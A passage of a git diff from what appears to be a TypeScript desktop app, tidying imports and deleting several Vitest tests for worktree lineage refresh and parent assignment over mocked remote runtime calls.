-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'status.get') {
-        return Promise.resolve({
-          id: 'status',
-          ok: false,
-          error: { code: 'runtime_unavailable', message: 'offline' },
-          _meta: { runtimeId: 'runtime-offline' }
-        })
-      }
-      return runtimeEnvironmentCall(args)
-    })
-
-    try {
-      store.setState({
-        hasHydratedWorktreePurge: true,
-        repos
-      } as unknown as Partial<AppState>)
-
-      await store.getState().fetchAllWorktrees()
-    } finally {
-      consoleError.mockRestore()
-    }
-
-    expect(runtimeEnvironmentTransportCall.mock.calls.map((call) => call[0].method)).toEqual([
-      'status.get'
-    ])
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(mockApi.worktrees.listDetected).not.toHaveBeenCalled()
-  })
-
   it('preserves floating workspace state while purging a real stale worktree', async () => {
     const store = createTestStore()
     const wtA = makeWorktree({ id: 'repoA::/a/wt1', repoId: 'repoA', path: '/a/wt1' })
diff --git a/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts b/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts
index 71fcdf6b8d1..b015759b24e 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/update-worktree-meta.ts
@@ -8,14 +8,11 @@ import {
   normalizeWorkspaceAttachmentUpdate
 } from '../../../../../../shared/workspace-attachments/workspace-attachments'
 import { normalizeGitHubPRSuppressionUpdate } from '../../../../../../shared/worktree/github-pr-suppression'
-
-import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 import { translate } from '@/i18n/i18n'
 import { isPositiveHostedReviewNumber } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts'
 import { displayNameUpdatePinsLabel } from '../../../../../../shared/worktree/display-name-provenance'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../../shared/sidebar-inputs-switch'
-import type { WorktreeSlice } from '../worktree-slice-contract'
 import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id'
 import {
   findKnownWorktreeById,
@@ -32,14 +29,16 @@ import {
 } from './hosted-review-push-target'
 import { persistWorktreeMeta } from './worktree-meta-persist'
 import { buildWorktreeMetaStateUpdate } from './worktree-meta-state-update'
-import { withPendingSidebarRowWrites } from '@/lib/sidebar-pending-layer'
+import { withPendingSidebarRowWrites } from '@/components/sidebar/sidebar-feed/sidebar-pending-layer'
 import { isRuntimeSelectorNotFoundError } from '../listing/runtime-worktree-rpc-errors'
 import { runtimeTargetForWorktreeOwner } from '../listing/worktree-owner-target'
 import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner'
-
 import { hasUniqueIndexedRepositoryHost } from '@/lib/workspace/ownership/repository-owner-index'
-import { resolveReviewRepository } from '@/lib/review-owner'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
 import { getRepoExecutionHostId } from '../../../../../../shared/execution-host'
+import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
+import type { WorktreeSlice } from '../worktree-slice-contract'
+
 export function createUpdateWorktreeMeta(
   set: WorktreeSliceSet,
   get: WorktreeSliceGet
@@ -121,7 +120,8 @@ export function createUpdateWorktreeMeta(
       return { ok: true }
     }
     normalizedUpdates = normalizeGitHubPRSuppressionUpdate(
-      normalizeWorkspaceAttachmentUpdate(worktreeForUpdate, mutationUpdates)
+      normalizeWorkspaceAttachmentUpdate(worktreeForUpdate, mutationUpdates),
+      worktreeForUpdate?.linkedPR
     )
     const currentResolvedPushTarget =
       normalizedUpdates.linkedPR === linkedPrForPushTarget ? resolvedPushTarget : undefined
diff --git a/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts b/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts
index c47beb21301..13466c27512 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.ts
@@ -10,7 +10,7 @@ import {
   getFolderWorkspaceMetaUpdates
 } from '../listing/detected-worktree-meta'
 import { persistWorktreeMeta } from './worktree-meta-persist'
-import { withPendingSidebarRowWrites } from '@/lib/sidebar-pending-layer'
+import { withPendingSidebarRowWrites } from '@/components/sidebar/sidebar-feed/sidebar-pending-layer'
 import { isRuntimeSelectorNotFoundError } from '../listing/runtime-worktree-rpc-errors'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host'
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktrees-fetch-remote-lineage.test.ts b/src/renderer/src/store/slices/worktrees/metadata/worktrees-fetch-remote-lineage.test.ts
index 6ca25b8981e..c6ef7994f69 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/worktrees-fetch-remote-lineage.test.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/worktrees-fetch-remote-lineage.test.ts
@@ -46,199 +46,6 @@ describe('fetchWorktrees', () => {
     clearHugeRepoWarningDismissalsForTests()
   })
 
-  it('updates remote worktree records when only lineage changes', async () => {
-    const store = createRemoteRepoStore()
-    const initial = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      branch: 'refs/heads/remote',
-      hostId: 'runtime:env-1',
-      runtimeOwnerEnvironmentId: 'env-1'
-    })
-    const lineage = makeLineage({ worktreeId: initial.id })
-    const refreshed = { ...initial, lineage }
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [initial] },
-      sortEpoch: 7
-    } as Partial<AppState>)
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
-      const result =
-        method === 'worktree.lineageList'
-          ? { lineage: { [lineage.worktreeId]: lineage } }
-          : makeDetectedResult('repo1', [refreshed])
-      return Promise.resolve({
-        id: 'rpc-1',
-        ok: true,
-        result,
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-    })
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([refreshed])
-    expect(store.getState().worktreeLineageById).toEqual({ [lineage.worktreeId]: lineage })
-  })
-
-  it('refreshes remote lineage when the worktree payload is otherwise unchanged', async () => {
-    const store = createRemoteRepoStore()
-    const worktree = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      branch: 'refs/heads/remote',
-      hostId: 'runtime:env-1',
-      runtimeOwnerEnvironmentId: 'env-1'
-    })
-    const staleLineage = makeLineage({
-      worktreeId: worktree.id,
-      parentWorktreeId: 'repo1::/remote/old-parent'
-    })
-    const freshLineage = makeLineage({
-      worktreeId: worktree.id,
-      parentWorktreeId: 'repo1::/remote/new-parent'
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [worktree] },
-      worktreeLineageById: { [worktree.id]: staleLineage },
-      sortEpoch: 7
-    } as Partial<AppState>)
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
-      const result =
-        method === 'worktree.lineageList'
-          ? { lineage: { [freshLineage.worktreeId]: freshLineage } }
-          : makeDetectedResult('repo1', [worktree])
-      return Promise.resolve({
-        id: 'rpc-1',
-        ok: true,
-        result,
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-    })
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([worktree])
-    expect(store.getState().worktreeLineageById).toEqual({
-      [freshLineage.worktreeId]: freshLineage
-    })
-  })
-
-  it('defers remote lineage when a caller owns the final host refresh', async () => {
-    const store = createRemoteRepoStore()
-    const worktree = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      branch: 'refs/heads/remote'
-    })
-    const lineage = makeLineage({ worktreeId: worktree.id })
-    const workspaceLineage = makeWorkspaceLineage({
-      childWorkspaceKey: worktreeWorkspaceKey(worktree.id)
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: {}
-    } as Partial<AppState>)
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
-      const result =
-        method === 'worktree.lineageList'
-          ? {
-              lineage: { [lineage.worktreeId]: lineage },
-              workspaceLineage: { [workspaceLineage.childWorkspaceKey]: workspaceLineage }
-            }
-          : makeDetectedResult('repo1', [worktree])
-      return Promise.resolve({
-        id: 'rpc-1',
-        ok: true,
-        result,
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-    })
-
-    await store.getState().fetchWorktrees('repo1', {
-      executionHostId: 'runtime:env-1',
-      suppressRemoteLineageRefresh: true
-    })
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([
-      expect.objectContaining({ id: worktree.id, hostId: 'runtime:env-1' })
-    ])
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-1', method: 'worktree.lineageList' })
-    )
-
-    await store.getState().fetchWorktreeLineage({ executionHostId: 'runtime:env-1' })
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({ selector: 'env-1', method: 'worktree.lineageList' })
-    )
-    expect(store.getState().worktreeLineageById).toEqual({ [lineage.worktreeId]: lineage })
-    expect(store.getState().workspaceLineageByChildKey).toEqual({
-      [workspaceLineage.childWorkspaceKey]: workspaceLineage
-    })
-  })
-
-  it('keeps a lineage row written while the host lineage request was in flight', async () => {
-    const store = createRemoteRepoStore()
-    const worktree = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      branch: 'refs/heads/remote',
-      hostId: 'runtime:env-1'
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [worktree] },
-      worktreeLineageById: {},
-      workspaceLineageByChildKey: {}
-    } as Partial<AppState>)
-
-    let releaseLineage: (() => void) | undefined
-    const lineageReplied = new Promise<void>((resolve) => {
-      releaseLineage = resolve
-    })
-    runtimeEnvironmentCall.mockImplementation(async ({ method }: RuntimeEnvironmentCallRequest) => {
-      if (method === 'worktree.lineageList') {
-        await lineageReplied
-        return {
-          id: 'rpc-1',
-          ok: true,
-          result: { lineage: {}, workspaceLineage: {} },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      return {
-        id: 'rpc-2',
-        ok: true,
-        result: makeDetectedResult('repo1', [worktree]),
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-
-    const pending = store.getState().fetchWorktreeLineage({ executionHostId: 'runtime:env-1' })
-    const created = makeLineage({ worktreeId: worktree.id })
-    const createdWorkspace = makeWorkspaceLineage({
-      childWorkspaceKey: worktreeWorkspaceKey(worktree.id)
-    })
-    store.setState({
-      worktreeLineageById: { [created.worktreeId]: created },
-      workspaceLineageByChildKey: { [createdWorkspace.childWorkspaceKey]: createdWorkspace }
-    } as Partial<AppState>)
-
-    releaseLineage?.()
-    await pending
-
-    expect(store.getState().worktreeLineageById).toEqual({ [created.worktreeId]: created })
-    expect(store.getState().workspaceLineageByChildKey).toEqual({
-      [createdWorkspace.childWorkspaceKey]: createdWorkspace
-    })
-  })
-
   it('keeps a parent reassignment written while the host lineage request was in flight', async () => {
     const store = createRemoteRepoStore()
     const worktree = makeWorktree({
@@ -366,78 +173,4 @@ describe('fetchWorktrees', () => {
     expect(store.getState().worktreeLineageById).toEqual({})
     expect(store.getState().workspaceLineageByChildKey).toEqual({})
   })
-
-  it('drops a host lineage row the refresh reply no longer reports', async () => {
-    const store = createRemoteRepoStore()
-    const worktree = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      branch: 'refs/heads/remote',
-      hostId: 'runtime:env-1'
-    })
-    const stale = makeLineage({ worktreeId: worktree.id })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [worktree] },
-      worktreeLineageById: { [stale.worktreeId]: stale }
-    } as Partial<AppState>)
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) =>
-      Promise.resolve({
-        id: 'rpc-1',
-        ok: true,
-        result:
-          method === 'worktree.lineageList'
-            ? { lineage: {}, workspaceLineage: {} }
-            : makeDetectedResult('repo1', [worktree]),
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-    )
-
-    await store.getState().fetchWorktreeLineage({ executionHostId: 'runtime:env-1' })
-
-    expect(store.getState().worktreeLineageById).toEqual({})
-  })
-
-  it('keeps a successful remote worktree refresh when lineage refresh fails', async () => {
-    const store = createRemoteRepoStore()
-    const refreshed = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      branch: 'refs/heads/remote'
-    })
-    const staleLineage = makeLineage({ worktreeId: refreshed.id })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: {},
-      worktreeLineageById: { [staleLineage.worktreeId]: staleLineage },
-      sortEpoch: 7
-    } as Partial<AppState>)
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
-      if (method === 'worktree.lineageList') {
-        return Promise.reject(new Error('lineage timeout'))
-      }
-      return Promise.resolve({
-        id: 'rpc-1',
-        ok: true,
-        result: makeDetectedResult('repo1', [refreshed]),
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-    })
-    vi.spyOn(console, 'error').mockImplementation(() => {})
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([
-      {
-        ...refreshed,
-        hostId: 'runtime:env-1',
-        runtimeOwnerEnvironmentId: 'env-1'
-      }
-    ])
-    expect(store.getState().worktreeLineageById).toEqual({
-      [staleLineage.worktreeId]: staleLineage
-    })
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktrees-lineage-state.test.ts b/src/renderer/src/store/slices/worktrees/metadata/worktrees-lineage-state.test.ts
deleted file mode 100644
index 9889fc05fcf..00000000000
--- a/src/renderer/src/store/slices/worktrees/metadata/worktrees-lineage-state.test.ts
+++ /dev/null
@@ -1,427 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AppState } from '../../../types'
-import type { Worktree } from '../../../../../../shared/worktree/types'
-import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host'
-import { folderWorkspaceKey, worktreeWorkspaceKey } from '../../../../../../shared/workspace-scope'
-import { makeLineage, makeWorkspaceLineage } from './workspace-lineage.test-fixture'
-import { makeWorktree } from '../worktree.test-fixture'
-import {
-  createLocalLineageTestStore,
-  createTestStore,
-  mockApi,
-  resetRemoteRuntimeMocks,
-  resetWorktreeSliceModuleMemory,
-  runtimeEnvironmentCall
-} from '../worktrees-slice-test-harness'
-
-const requestWorktreeBaseFallbackNotice = vi.hoisted(() => vi.fn())
-
-vi.mock('sonner', () => ({
-  toast: {
-    warning: vi.fn(),
-    info: vi.fn(),
-    success: vi.fn(),
-    error: vi.fn(),
-    dismiss: vi.fn()
-  }
-}))
-
-vi.mock('@/components/worktree-base-fallback-notice', () => ({
-  requestWorktreeBaseFallbackNotice
-}))
-
-beforeEach(resetWorktreeSliceModuleMemory)
-
-describe('worktree lineage state', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-  })
-
-  it('preserves the other host lineage when refreshing local lineage', async () => {
-    const store = createTestStore()
-    const localWorktree = makeWorktree({
-      id: 'repo1::/local/child',
-      repoId: 'repo1',
-      hostId: LOCAL_EXECUTION_HOST_ID
-    })
-    const sshWorktree = makeWorktree({
-      id: 'repo2::/ssh/child',
-      repoId: 'repo2',
-      hostId: 'ssh:ssh-1'
-    })
-    const localLineage = makeLineage({
-      worktreeId: localWorktree.id,
-      parentWorktreeId: 'repo1::/local/parent',
-      capture: { source: 'orchestration-context', confidence: 'explicit' },
-      taskId: 'task-local',
-      coordinatorHandle: 'coord-local'
-    })
-    const sshLineage = makeLineage({
-      worktreeId: sshWorktree.id,
-      parentWorktreeId: 'repo2::/ssh/parent',
-      capture: { source: 'cwd-context', confidence: 'inferred' },
-      taskId: 'task-ssh',
-      coordinatorHandle: 'coord-ssh'
-    })
-    const localWorkspace = makeWorkspaceLineage({
-      childWorkspaceKey: worktreeWorkspaceKey(localWorktree.id),
-      parentWorkspaceKey: worktreeWorkspaceKey(localLineage.parentWorktreeId),
-      childInstanceId: localLineage.worktreeInstanceId,
-      parentInstanceId: localLineage.parentWorktreeInstanceId,
-      origin: localLineage.origin,
-      capture: localLineage.capture,
-      taskId: localLineage.taskId,
-      coordinatorHandle: localLineage.coordinatorHandle
-    })
-    const sshWorkspace = makeWorkspaceLineage({
-      childWorkspaceKey: worktreeWorkspaceKey(sshWorktree.id),
-      parentWorkspaceKey: worktreeWorkspaceKey(sshLineage.parentWorktreeId),
-      childInstanceId: sshLineage.worktreeInstanceId,
-      parentInstanceId: sshLineage.parentWorktreeInstanceId,
-      origin: sshLineage.origin,
-      capture: sshLineage.capture,
-      taskId: sshLineage.taskId,
-      coordinatorHandle: sshLineage.coordinatorHandle
-    })
-    store.setState({
-      worktreesByRepo: {
-        repo1: [localWorktree],
-        repo2: [sshWorktree]
-      },
-      worktreeLineageById: {
-        [localWorktree.id]: localLineage,
-        [sshWorktree.id]: sshLineage
-      },
-      workspaceLineageByChildKey: {
-        [localWorkspace.childWorkspaceKey]: localWorkspace,
-        [sshWorkspace.childWorkspaceKey]: sshWorkspace
-      }
-    } as Partial<AppState>)
-    const payload = {
-      lineage: { [localWorktree.id]: localLineage },
-      workspaceLineage: { [localWorkspace.childWorkspaceKey]: localWorkspace }
-    }
-    mockApi.worktrees.listLineage.mockImplementation(async () => structuredClone(payload))
-
-    await store.getState().fetchWorktreeLineage()
-
-    expect(store.getState().worktreeLineageById['repo1::/local/child']).toMatchObject({
-      parentWorktreeId: 'repo1::/local/parent',
-      taskId: 'task-local',
-      coordinatorHandle: 'coord-local'
-    })
-    expect(store.getState().worktreeLineageById['repo2::/ssh/child']).toMatchObject({
-      parentWorktreeId: 'repo2::/ssh/parent',
-      taskId: 'task-ssh',
-      coordinatorHandle: 'coord-ssh'
-    })
-    expect(store.getState().workspaceLineageByChildKey['worktree:repo2::/ssh/child']).toMatchObject(
-      {
-        parentWorkspaceKey: 'worktree:repo2::/ssh/parent',
-        taskId: 'task-ssh',
-        coordinatorHandle: 'coord-ssh'
-      }
-    )
-  })
-
-  it('clears inline local lineage immediately when an inline-only child is unnested', async () => {
-    const store = createTestStore()
-    const lineage = makeLineage()
-    const parent = {
-      ...makeWorktree({
-        id: lineage.parentWorktreeId,
-        instanceId: lineage.parentWorktreeInstanceId,
-        repoId: 'repo1'
-      }),
-      childWorktreeIds: [lineage.worktreeId],
-      lineage: null
-    }
-    const child = {
-      ...makeWorktree({
-        id: lineage.worktreeId,
-        instanceId: lineage.worktreeInstanceId,
-        repoId: 'repo1'
-      }),
-      parentWorktreeId: lineage.parentWorktreeId,
-      childWorktreeIds: [],
-      lineage
-    }
-    mockApi.worktrees.updateLineage.mockResolvedValue({ lineage: null, workspaceLineage: null })
-    store.setState({
-      worktreesByRepo: { repo1: [parent, child] },
-      worktreeLineageById: {}
-    } as Partial<AppState>)
-
-    await store.getState().updateWorktreeLineage(child.id, { noParent: true })
-
-    expect(store.getState().worktreesByRepo.repo1).toMatchObject([
-      { id: parent.id, childWorktreeIds: [] },
-      { id: child.id, parentWorktreeId: null, lineage: null }
-    ])
-  })
-
-  it('syncs workspace lineage when a child is manually reparented', async () => {
-    const lineage = makeLineage({
-      origin: 'manual',
-      capture: { source: 'manual-action', confidence: 'explicit' }
-    })
-    const store = createLocalLineageTestStore(lineage)
-    const oldWorkspaceLineage = makeWorkspaceLineage({
-      childWorkspaceKey: worktreeWorkspaceKey(lineage.worktreeId),
-      parentWorkspaceKey: folderWorkspaceKey('folder-1')
-    })
-    mockApi.worktrees.updateLineage.mockResolvedValue({ lineage })
-    store.setState({
-      workspaceLineageByChildKey: { [oldWorkspaceLineage.childWorkspaceKey]: oldWorkspaceLineage }
-    } as Partial<AppState>)
-
-    await store.getState().updateWorktreeLineage(lineage.worktreeId, {
-      parentWorktreeId: lineage.parentWorktreeId
-    })
-
-    expect(store.getState().workspaceLineageByChildKey).toEqual({
-      'worktree:repo1::/path/child': {
-        childWorkspaceKey: 'worktree:repo1::/path/child',
-        childInstanceId: 'child-instance',
-        parentWorkspaceKey: 'worktree:repo1::/path/parent',
-        parentInstanceId: 'parent-instance',
-        origin: 'manual',
-        capture: { source: 'manual-action', confidence: 'explicit' },
-        createdAt: 1
-      }
-    })
-  })
-
-  it('keeps a folder workspace parent the host reports when the worktree lineage is cleared', async () => {
-    const lineage = makeLineage()
-    const store = createLocalLineageTestStore(lineage)
-    const folderParent = makeWorkspaceLineage({
-      childWorkspaceKey: worktreeWorkspaceKey(lineage.worktreeId),
-      parentWorkspaceKey: folderWorkspaceKey('folder-9'),
-      parentInstanceId: 'folder-9'
-    })
-    mockApi.worktrees.updateLineage.mockResolvedValue({
-      lineage: null,
-      workspaceLineage: folderParent
-    })
-
-    await store.getState().assignWorktreeParent(lineage.worktreeId, {
-      parentWorktreeId: folderWorkspaceKey('folder-9')
-    })
-
-    expect(store.getState().worktreeLineageById[lineage.worktreeId]).toBeUndefined()
-    expect(
-      store.getState().workspaceLineageByChildKey[worktreeWorkspaceKey(lineage.worktreeId)]
-    ).toEqual(folderParent)
-  })
-
-  it('assigns a parent through the worktree owner runtime when host-stamped', async () => {
-    const store = createTestStore()
-    const lineage = makeLineage()
-    const child = makeWorktree({
-      id: lineage.worktreeId,
-      repoId: 'repo1',
-      path: '/remote/child',
-      hostId: 'runtime:owner-env'
-    })
-    const updatedChild = { ...child, lineage }
-    runtimeEnvironmentCall.mockResolvedValueOnce({
-      id: 'rpc-owner-runtime-assign-parent',
-      ok: true,
-      result: { worktree: updatedChild },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'focused-env' } as never,
-      worktreesByRepo: { repo1: [child] }
-    } as Partial<AppState>)
-
-    await store.getState().assignWorktreeParent(lineage.worktreeId, {
-      parentWorktreeId: lineage.parentWorktreeId
-    })
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'owner-env',
-      method: 'worktree.set',
-      params: {
-        worktree: `id:${lineage.worktreeId}`,
-        parentWorktree: `id:${lineage.parentWorktreeId}`
-      },
-      timeoutMs: 15_000
-    })
-  })
-
-  it("assigns a parent on the clicked twin's own host, not its same-id twin", async () => {
-    const store = createTestStore()
-    const lineage = makeLineage()
-    const localTwin = makeWorktree({
-      id: lineage.worktreeId,
-      repoId: 'repo1',
-      path: '/local/child',
-      hostId: LOCAL_EXECUTION_HOST_ID
-    })
-    const serverTwin = makeWorktree({
-      id: lineage.worktreeId,
-      repoId: 'repo1',
-      path: '/remote/child',
-      hostId: 'runtime:owner-env'
-    })
-    runtimeEnvironmentCall.mockResolvedValueOnce({
-      id: 'rpc-twin-assign-parent',
-      ok: true,
-      result: { worktree: { ...serverTwin, lineage } },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    store.setState({ worktreesByRepo: { repo1: [localTwin, serverTwin] } })
-
-    await store.getState().assignWorktreeParent(lineage.worktreeId, {
-      parentWorktreeId: lineage.parentWorktreeId,
-      executionHostId: 'runtime:owner-env'
-    })
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'owner-env',
-      method: 'worktree.set',
-      params: {
-        worktree: `id:${lineage.worktreeId}`,
-        parentWorktree: `id:${lineage.parentWorktreeId}`
-      },
-      timeoutMs: 15_000
-    })
-  })
-
-  it('refreshes assignment failures through the worktree owner runtime when host-stamped', async () => {
-    const store = createTestStore()
-    const lineage = makeLineage()
-    const child = makeWorktree({
-      id: lineage.worktreeId,
-      repoId: 'repo1',
-      path: '/remote/child',
-      hostId: 'runtime:owner-env'
-    })
-    runtimeEnvironmentCall
-      .mockRejectedValueOnce(new Error('owner assignment failed'))
-      .mockResolvedValueOnce({
-        id: 'rpc-owner-runtime-lineage-refresh',
-        ok: true,
-        result: { lineage: { [lineage.worktreeId]: lineage } },
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'focused-env' } as never,
-      worktreesByRepo: { repo1: [child] }
-    } as Partial<AppState>)
-    vi.spyOn(console, 'error').mockImplementation(() => {})
-
-    await expect(
-      store.getState().assignWorktreeParent(lineage.worktreeId, {
-        parentWorktreeId: lineage.parentWorktreeId
-      })
-    ).rejects.toThrow('owner assignment failed')
-
-    expect(runtimeEnvironmentCall).toHaveBeenNthCalledWith(2, {
-      selector: 'owner-env',
-      method: 'worktree.lineageList',
-      params: undefined,
-      timeoutMs: 15_000
-    })
-    expect(store.getState().worktreeLineageById).toEqual({ [lineage.worktreeId]: lineage })
-  })
-
-  it('removes stale owner-runtime lineage when host-stamped worktrees refresh empty', async () => {
-    const store = createTestStore()
-    const staleLineage = makeLineage()
-    const staleWorkspaceLineage = makeWorkspaceLineage({
-      childWorkspaceKey: worktreeWorkspaceKey(staleLineage.worktreeId)
-    })
-    const child = makeWorktree({
-      id: staleLineage.worktreeId,
-      repoId: 'repo1',
-      path: '/remote/child',
-      hostId: 'runtime:owner-env'
-    })
-    runtimeEnvironmentCall
-      .mockRejectedValueOnce(new Error('owner assignment failed'))
-      .mockResolvedValueOnce({
-        id: 'rpc-owner-runtime-lineage-refresh',
-        ok: true,
-        result: { lineage: {}, workspaceLineage: {} },
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'focused-env' } as never,
-      worktreesByRepo: { repo1: [child] },
-      worktreeLineageById: { [staleLineage.worktreeId]: staleLineage },
-      workspaceLineageByChildKey: {
-        [staleWorkspaceLineage.childWorkspaceKey]: staleWorkspaceLineage
-      }
-    } as Partial<AppState>)
-    vi.spyOn(console, 'error').mockImplementation(() => {})
-
-    await expect(
-      store.getState().assignWorktreeParent(staleLineage.worktreeId, {
-        parentWorktreeId: staleLineage.parentWorktreeId
-      })
-    ).rejects.toThrow('owner assignment failed')
-
-    expect(store.getState().worktreeLineageById).toEqual({})
-    expect(store.getState().workspaceLineageByChildKey).toEqual({})
-  })
-
-  it('clears lineage through the active remote runtime environment', async () => {
-    const store = createTestStore()
-    const lineage = makeLineage()
-    const child = makeWorktree({
-      id: lineage.worktreeId,
-      repoId: 'repo1',
-      path: '/remote/child',
-      lineage
-    } as Partial<Worktree> & { id: string; repoId: string })
-    // Why: ingest stamps a server's rows; routing follows the stamp, not focus.
-    child.hostId = 'runtime:env-1'
-    const updatedChild = { ...child, lineage: null }
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-clear-lineage',
-      ok: true,
-      result: { worktree: updatedChild },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [child] },
-      worktreeLineageById: { [lineage.worktreeId]: lineage },
-      sortEpoch: 3
-    } as Partial<AppState>)
-
-    await store.getState().updateWorktreeLineage(lineage.worktreeId, { noParent: true })
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'worktree.set',
-      params: { worktree: `id:${lineage.worktreeId}`, noParent: true },
-      timeoutMs: 15_000
-    })
-    expect(store.getState().worktreeLineageById).toEqual({})
-    expect(store.getState().worktreesByRepo.repo1?.[0]).toEqual({
-      ...updatedChild,
-      hostId: 'runtime:env-1',
-      runtimeOwnerEnvironmentId: 'env-1'
-    })
-  })
-
-  it('rethrows the original assign failure when the recovery refresh fails', async () => {
-    const lineage = makeLineage()
-    const store = createLocalLineageTestStore(lineage)
-    mockApi.worktrees.updateLineage.mockRejectedValueOnce(new Error('stale parent'))
-    mockApi.worktrees.listLineage.mockRejectedValueOnce(new Error('refresh failed'))
-    vi.spyOn(console, 'error').mockImplementation(() => {})
-
-    // A failed recovery refresh must not replace the cause the caller toasts.
-    await expect(
-      store.getState().assignWorktreeParent(lineage.worktreeId, {
-        parentWorktreeId: lineage.parentWorktreeId
-      })
-    ).rejects.toThrow('stale parent')
-  })
-})
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktrees-linked-review-push-target.test.ts b/src/renderer/src/store/slices/worktrees/metadata/worktrees-linked-review-push-target.test.ts
index c09a6a8da20..f16261e227e 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/worktrees-linked-review-push-target.test.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/worktrees-linked-review-push-target.test.ts
@@ -71,273 +71,6 @@ describe('worktree remote runtime mutations', () => {
     expect(lastWrite).not.toHaveProperty('pushTarget')
   })
 
-  it('switches the selected review to GitLab and clears the previous push target', async () => {
-    const store = createTestStore()
-    const oldPushTarget = { remoteName: 'fork', branchName: 'owner/old-pr' }
-    const newPushTarget = { remoteName: 'upstream', branchName: 'owner/new-mr' }
-    const wt = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/review-branch',
-      linkedPR: 2548,
-      pushTarget: oldPushTarget
-    })
